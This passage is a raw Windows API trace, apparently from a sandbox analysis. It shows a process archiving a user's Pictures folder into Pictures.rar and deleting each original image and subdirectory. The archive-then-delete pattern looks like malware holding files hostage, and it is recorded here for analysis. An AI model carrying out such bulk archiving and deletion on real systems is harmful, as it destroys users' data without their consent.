lpOverlapped=0x0 | out: lpBuffer=0x2a0d963*, lpNumberOfBytesWritten=0x168180*=0x12, lpOverlapped=0x0) returned 1 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d870 | out: hHeap=0x1b0000) returned 1 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d960 | out: hHeap=0x1b0000) returned 1 [0066.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539886, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x91912e [0066.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d3c0*=0) returned 0x91912e [0066.633] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d960 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d960 | out: hHeap=0x1b0000) returned 1 [0066.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169a70*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169a70*=0) returned 0x91912e [0066.633] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d960 [0066.633] WriteFile (in: hFile=0x198, lpBuffer=0x2a0d963*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1680b0, lpOverlapped=0x0 | out: lpBuffer=0x2a0d963*, lpNumberOfBytesWritten=0x1680b0*=0x13, lpOverlapped=0x0) returned 1 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d960 | out: hHeap=0x1b0000) returned 1 [0066.633] WriteFile (in: hFile=0x198, lpBuffer=0x291e00*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x16d4a0, lpOverlapped=0x0 | out: lpBuffer=0x291e00*, lpNumberOfBytesWritten=0x16d4a0*=0x1034, lpOverlapped=0x0) returned 1 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27f1c0 | out: hHeap=0x1b0000) returned 1 [0066.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16b4b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16b4b0*=0) returned 0x91a175 [0066.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x167b90*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x167b90*=0) returned 0x91a175 [0066.633] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d960 [0066.633] WriteFile (in: hFile=0x198, lpBuffer=0x2a0d963*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1661d0, lpOverlapped=0x0 | out: lpBuffer=0x2a0d963*, lpNumberOfBytesWritten=0x1661d0*=0x8, lpOverlapped=0x0) returned 1 [0066.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d960 | out: hHeap=0x1b0000) returned 1 [0066.633] CloseHandle (hObject=0x198) returned 1 [0067.126] LoadStringW (in: hInstance=0x13f160000, uID=0x33f, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="Deleting") returned 0x8 [0067.126] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x60) returned 0x273110 [0067.126] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x273110 | out: hHeap=0x1b0000) returned 1 [0067.126] DeleteFileW (lpFileName="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png" (normalized: "c:\\users\\whuoxysd\\pictures\\xuzeq3zwzkpg\\uhrjnpf0xowey -m.png")) returned 1 [0067.126] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.251] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.251] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.251] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.251] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.251] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="xuzEq3zwZkPG") returned 12 [0067.251] SetWindowTextW (hWnd=0x1024c, lpString="UhrjNpf0XOWEy -M.png") returned 1 [0067.251] GetTickCount () returned 0xa671c8 [0067.251] UpdateWindow (hWnd=0x10244) returned 1 [0067.251] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.251] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.252] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.252] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.252] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="UhrjNpf0XOWEy -M.png") returned 20 [0067.252] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.252] GetTickCount () returned 0xa671c8 [0067.252] GetLastError () returned 0x5 [0067.252] SetLastError (dwErrCode=0x5) [0067.252] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0067.252] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0067.252] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.252] SetWindowTextW (hWnd=0x1024e, lpString=" 2%") returned 1 [0067.252] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x0 [0067.252] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14259284560) returned 1 [0067.252] GetTickCount () returned 0xa671c8 [0067.253] GetTickCount () returned 0xa671c8 [0067.253] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.253] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.253] GetFocus () returned 0x0 [0067.253] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.253] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.253] RemoveDirectoryW (lpPathName="xuzEq3zwZkPG" (normalized: "c:\\users\\whuoxysd\\pictures\\xuzeq3zwzkpg")) returned 1 [0067.254] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.254] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.254] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.254] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.254] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.254] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.254] SetWindowTextW (hWnd=0x1024c, lpString="xuzEq3zwZkPG") returned 1 [0067.254] GetTickCount () returned 0xa671c8 [0067.254] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.254] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.254] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.255] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.255] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="xuzEq3zwZkPG") returned 12 [0067.255] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.255] GetTickCount () returned 0xa671c8 [0067.255] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14259531027) returned 1 [0067.255] GetTickCount () returned 0xa671c8 [0067.255] GetTickCount () returned 0xa671c8 [0067.255] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.255] DeleteFileW (lpFileName="UrPVXySoY.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\urpvxysoy.jpg")) returned 1 [0067.256] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.256] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.256] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.256] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.256] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.256] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.256] SetWindowTextW (hWnd=0x1024c, lpString="UrPVXySoY.jpg") returned 1 [0067.256] GetTickCount () returned 0xa671c8 [0067.256] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.256] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.256] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.256] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.256] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="UrPVXySoY.jpg") returned 13 [0067.257] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.257] GetTickCount () returned 0xa671c8 [0067.257] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14259709393) returned 1 [0067.257] GetTickCount () returned 0xa671c8 [0067.257] GetTickCount () returned 0xa671c8 [0067.257] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.257] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\ztrgups5uq yguif.png")) returned 1 [0067.257] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.257] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.257] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.257] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.258] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.258] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.258] SetWindowTextW (hWnd=0x1024c, lpString="zTrGUpS5uq YgUIf.png") returned 1 [0067.258] GetTickCount () returned 0xa671c8 [0067.258] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.258] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.258] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.258] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.258] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="zTrGUpS5uq YgUIf.png") returned 20 [0067.258] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.258] GetTickCount () returned 0xa671c8 [0067.258] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14259870067) returned 1 [0067.258] GetTickCount () returned 0xa671c8 [0067.258] GetTickCount () returned 0xa671c8 [0067.258] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.258] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\u_fq38hvgfy.png")) returned 1 [0067.259] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.259] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.259] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.259] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.259] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.259] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.259] SetWindowTextW (hWnd=0x1024c, lpString="u_fq38hVgFy.png") returned 1 [0067.259] GetTickCount () returned 0xa671c8 [0067.259] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.259] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.260] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.260] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.260] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="u_fq38hVgFy.png") returned 15 [0067.260] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.260] GetTickCount () returned 0xa671c8 [0067.260] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260031852) returned 1 [0067.260] GetTickCount () returned 0xa671c8 [0067.260] GetTickCount () returned 0xa671c8 [0067.260] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.260] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd\\dn2ln2aa\\psqziwin8ujzztdjofx.jpg")) returned 1 [0067.261] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.261] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.261] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.261] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.261] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.261] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.261] SetWindowTextW (hWnd=0x1024c, lpString="PSQZiwIN8uJzzTdjOFX.jpg") returned 1 [0067.261] GetTickCount () returned 0xa671c8 [0067.261] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.261] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.261] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.261] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.261] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="PSQZiwIN8uJzzTdjOFX.jpg") returned 23 [0067.261] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.262] GetTickCount () returned 0xa671c8 [0067.262] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260194185) returned 1 [0067.262] GetTickCount () returned 0xa671c8 [0067.262] GetTickCount () returned 0xa671c8 [0067.262] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.262] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd\\dn2ln2aa\\pqzu4fgjs_vjhsebb.bmp")) returned 1 [0067.262] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.262] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.262] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.262] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.262] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.262] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.262] SetWindowTextW (hWnd=0x1024c, lpString="pQzU4fgJS_VJhSEBB.bmp") returned 1 [0067.263] GetTickCount () returned 0xa671c8 [0067.263] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.263] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.263] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.263] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.263] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="pQzU4fgJS_VJhSEBB.bmp") returned 21 [0067.263] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.263] GetTickCount () returned 0xa671c8 [0067.263] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260355610) returned 1 [0067.263] GetTickCount () returned 0xa671c8 [0067.263] GetTickCount () returned 0xa671c8 [0067.263] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.263] RemoveDirectoryW (lpPathName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd\\dn2ln2aa")) returned 1 [0067.264] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.264] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.264] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.264] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.264] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.264] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.264] SetWindowTextW (hWnd=0x1024c, lpString="dn2lN2aa") returned 1 [0067.264] GetTickCount () returned 0xa671c8 [0067.264] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.264] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.264] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.264] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.264] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="dn2lN2aa") returned 8 [0067.265] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.265] GetTickCount () returned 0xa671c8 [0067.265] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260510973) returned 1 [0067.265] GetTickCount () returned 0xa671c8 [0067.265] GetTickCount () returned 0xa671c8 [0067.265] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.265] RemoveDirectoryW (lpPathName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd")) returned 1 [0067.265] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.265] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.265] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.265] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.265] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.265] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.265] SetWindowTextW (hWnd=0x1024c, lpString="UqtyoyIZxKksp3kD") returned 1 [0067.266] GetTickCount () returned 0xa671c8 [0067.266] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.266] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.266] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.266] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.266] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="UqtyoyIZxKksp3kD") returned 16 [0067.266] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.266] GetTickCount () returned 0xa671d8 [0067.266] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260730967) returned 1 [0067.267] GetTickCount () returned 0xa671d8 [0067.267] GetTickCount () returned 0xa671d8 [0067.267] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.267] PeekMessageW (in: lpMsg=0x16d460, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d460) returned 0 [0067.267] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.267] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\ni-wplzkukz.gif")) returned 1 [0067.268] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.268] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.268] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.268] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.268] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.268] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.268] SetWindowTextW (hWnd=0x1024c, lpString="Ni-WplZKUKZ.gif") returned 1 [0067.268] GetTickCount () returned 0xa671d8 [0067.268] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.268] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.268] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.268] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.268] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="Ni-WplZKUKZ.gif") returned 15 [0067.268] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.269] GetTickCount () returned 0xa671d8 [0067.269] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14260897223) returned 1 [0067.269] GetTickCount () returned 0xa671d8 [0067.269] GetTickCount () returned 0xa671d8 [0067.269] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.269] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\aeax1crfmianqavi.jpg")) returned 1 [0067.269] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.269] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.269] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.269] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.270] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.270] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.270] SetWindowTextW (hWnd=0x1024c, lpString="aEAx1CrFMianQavi.jpg") returned 1 [0067.270] GetTickCount () returned 0xa671d8 [0067.270] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.270] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.270] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.270] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.270] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="aEAx1CrFMianQavi.jpg") returned 20 [0067.270] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.270] GetTickCount () returned 0xa671d8 [0067.270] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14261079924) returned 1 [0067.270] GetTickCount () returned 0xa671d8 [0067.270] GetTickCount () returned 0xa671d8 [0067.270] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.271] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\o7izdtchrqglm.png")) returned 1 [0067.271] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.271] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.271] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.271] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.271] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.271] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.271] SetWindowTextW (hWnd=0x1024c, lpString="o7iZDtChRQGlm.png") returned 1 [0067.272] GetTickCount () returned 0xa671d8 [0067.272] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.272] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.272] SetWindowTextW (hWnd=0x1024a, 